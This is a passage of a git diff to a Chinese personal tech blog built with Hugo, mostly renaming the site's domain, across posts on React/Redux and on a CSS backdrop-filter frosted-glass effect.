-</code></pre><p>可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/65/><span class=title>« Prev</span><br><span>简单利用backdrop-filter属性实现效果</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/61/><span class=title>Next »</span><br><span>JavaScript知识扩展</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+}</p><p>Redux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成</p><p>唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上</p><p>保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理</p><p>数据改变只通过纯函数完成就是通过reducer来规约数据</p><p>React-Redux将全部组件分为两种，UI组件和容器组件</p><p>UI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供</p><p>容器组件就是只提供逻辑处理，不涉及任何关于UI的</p><p>一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新</p><p>在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了</p><p>通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件</p><p>例如：</p><pre><code>import { connect } from 'react-redux'
+const Docker = connect()(Ui)
+</code></pre><p>其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件</p><p>connect()方法还支持两个参数，分别是输入逻辑和输出逻辑</p><p>输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch</p><hr><p>withRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter</p><p>withRouter组件是在react-router-dom中的，因此需要引用，用法：</p><pre><code>import React from 'react'
+import { withRouter, Route } from &quot;react-router-dom&quot;
+class Demo extends React.Component {
+    render() { 
+        console.log(this.props)
+        return ( 
+            &lt;div&gt;
+                &lt;Route exact path='/' component={Home} /&gt;
+                &lt;Route path='/admin' component={Admin} /&gt;
+            &lt;/div&gt;
+         )
+    }
+}
+export default withRouter(Demo)
+</code></pre><p>可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/65/><span class=title>« Prev</span><br><span>简单利用backdrop-filter属性实现效果</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/61/><span class=title>Next »</span><br><span>JavaScript知识扩展</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/65/index.html b/posts/65/index.html
index 854165dd..f2a3f207 100644
--- a/posts/65/index.html
+++ b/posts/65/index.html
@@ -2,25 +2,25 @@
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-<style>
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&#34;1.jpg&#34;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
</style>
<div id=&#34;app&#34;>
<div id=&#34;test&#34;>
<p class=&#34;text&#34;>
hallo word
</p>
</div>
</div>
backdrop-filter和filter区别：
+<style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&#34;1.jpg&#34;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } </style> <div id=&#34;app&#34;> <div id=&#34;test&#34;> <p class=&#34;text&#34;> hallo word </p> </div> </div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/65/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单利用backdrop-filter属性实现效果"><meta property="og:description" content="backdrop-filter是css原生的属性
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/65/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单利用backdrop-filter属性实现效果"><meta property="og:description" content="backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-<style>
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&#34;1.jpg&#34;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
</style>
<div id=&#34;app&#34;>
<div id=&#34;test&#34;>
<p class=&#34;text&#34;>
hallo word
</p>
</div>
</div>
backdrop-filter和filter区别：
+<style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&#34;1.jpg&#34;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } </style> <div id=&#34;app&#34;> <div id=&#34;test&#34;> <p class=&#34;text&#34;> hallo word </p> </div> </div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/65/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-06T10:18:00+00:00"><meta property="article:modified_time" content="2021-08-06T10:18:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单利用backdrop-filter属性实现效果"><meta name=twitter:description content="backdrop-filter是css原生的属性
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/65/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-06T10:18:00+00:00"><meta property="article:modified_time" content="2021-08-06T10:18:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单利用backdrop-filter属性实现效果"><meta name=twitter:description content="backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-<style>
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&#34;1.jpg&#34;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
</style>
<div id=&#34;app&#34;>
<div id=&#34;test&#34;>
<p class=&#34;text&#34;>
hallo word
</p>
</div>
</div>
backdrop-filter和filter区别：
+<style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&#34;1.jpg&#34;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } </style> <div id=&#34;app&#34;> <div id=&#34;test&#34;> <p class=&#34;text&#34;> hallo word </p> </div> </div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单利用backdrop-filter属性实现效果","item":"https://xiaochenabc123.github.io/posts/65/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单利用backdrop-filter属性实现效果","name":"简单利用backdrop-filter属性实现效果","description":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt;\r*{\rmargin: 0;\rpadding: 0;\r}\r#app{\rwidth: 100%;\rheight: 50rem;\rbackground-image: url(\u0026quot;1.jpg\u0026quot;);\r}\r#test{\rposition: absolute;\rtop: 0;\rleft: 0;\rright: 0;\rbottom: 0;\rbackdrop-filter: blur(10px);\r}\r.text{\rpadding-top: 100px;\rtext-align: center;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt;\r\u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt;\rhallo word\r\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\rbackdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）","keywords":["css"],"articleBody":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\nhallo word\rbackdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）\n","wordCount":"64","inLanguage":"en","datePublished":"2021-08-06T10:18:00Z","dateModified":"2021-08-06T10:18:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/65/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单利用backdrop-filter属性实现效果</h1><div class=post-meta><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e5%88%a9%e7%94%a8backdrop-filter%e5%b1%9e%e6%80%a7%e5%ae%9e%e7%8e%b0%e6%95%88%e6%9e%9c.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>backdrop-filter是css原生的属性</p><p>backdrop-filter的一些方法（用法和filter一样）</p><p>blur：模糊
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单利用backdrop-filter属性实现效果","item":"https://chenjunlinabc.github.io/posts/65/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单利用backdrop-filter属性实现效果","name":"简单利用backdrop-filter属性实现效果","description":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(\u0026quot;1.jpg\u0026quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } \u0026lt;/style\u0026gt; \u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt; \u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt; hallo word \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; backdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）","keywords":["css"],"articleBody":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\nhallo word backdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）\n","wordCount":"64","inLanguage":"en","datePublished":"2021-08-06T10:18:00Z","dateModified":"2021-08-06T10:18:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/65/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单利用backdrop-filter属性实现效果</h1><div class=post-meta><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e5%88%a9%e7%94%a8backdrop-filter%e5%b1%9e%e6%80%a7%e5%ae%9e%e7%8e%b0%e6%95%88%e6%9e%9c.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>backdrop-filter是css原生的属性</p><p>backdrop-filter的一些方法（用法和filter一样）</p><p>blur：模糊
 brightness：亮度
 contrast：对比度
 invert：反相
@@ -29,38 +29,38 @@
 drop-shadow：投影
 grayscale：灰度
 hue-rotate：色调变化
-sepia：褐色</p><hr><p>简单实现一个毛玻璃背景效果，例如：</p><pre><code>&lt;style&gt;
-    *{
-        margin: 0;
-        padding: 0;
-    }
-    #app{
-        width: 100%;
-        height: 50rem;
-        background-image: url(&quot;1.jpg&quot;);
-    }
-    #test{
-        position: absolute;
-        top: 0;
-        left: 0;
-        right: 0;
-        bottom: 0;
-        backdrop-filter: blur(10px);
-    }
-    .text{
-        padding-top: 100px;
-        text-align: center;
-    }
-&lt;/style&gt;
-&lt;div id=&quot;app&quot;&gt;
-    &lt;div id=&quot;test&quot;&gt;
-        &lt;p class=&quot;text&quot;&gt;
-            hallo word
-        &lt;/p&gt;
-    &lt;/div&gt;
-&lt;/div&gt;
-</code></pre><hr><p>backdrop-filter和filter区别：</p><p>filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性</p><p>backdrop-filter是作用于当前元素背后的所有元素，不会影响自己</p><p>backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/73/><span class=title>« Prev</span><br><span>gulp学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/63/><span class=title>Next »</span><br><span>深入学习React</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+sepia：褐色</p><hr><p>简单实现一个毛玻璃背景效果，例如：</p><pre><code>&lt;style&gt;
+    *{
+        margin: 0;
+        padding: 0;
+    }
+    #app{
+        width: 100%;
+        height: 50rem;
+        background-image: url(&quot;1.jpg&quot;);
+    }
+    #test{
+        position: absolute;
+        top: 0;
+        left: 0;
+        right: 0;
+        bottom: 0;
+        backdrop-filter: blur(10px);
+    }
+    .text{
+        padding-top: 100px;
+        text-align: center;
+    }
+&lt;/style&gt;
+&lt;div id=&quot;app&quot;&gt;
+    &lt;div id=&quot;test&quot;&gt;
+        &lt;p class=&quot;text&quot;&gt;
+            hallo word
+        &lt;/p&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</code></pre><hr><p>backdrop-filter和filter区别：</p><p>filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性</p><p>backdrop-filter是作用于当前元素背后的所有元素，不会影响自己</p><p>backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/73/><span class=title>« Prev</span><br><span>gulp学习笔记</span></a>
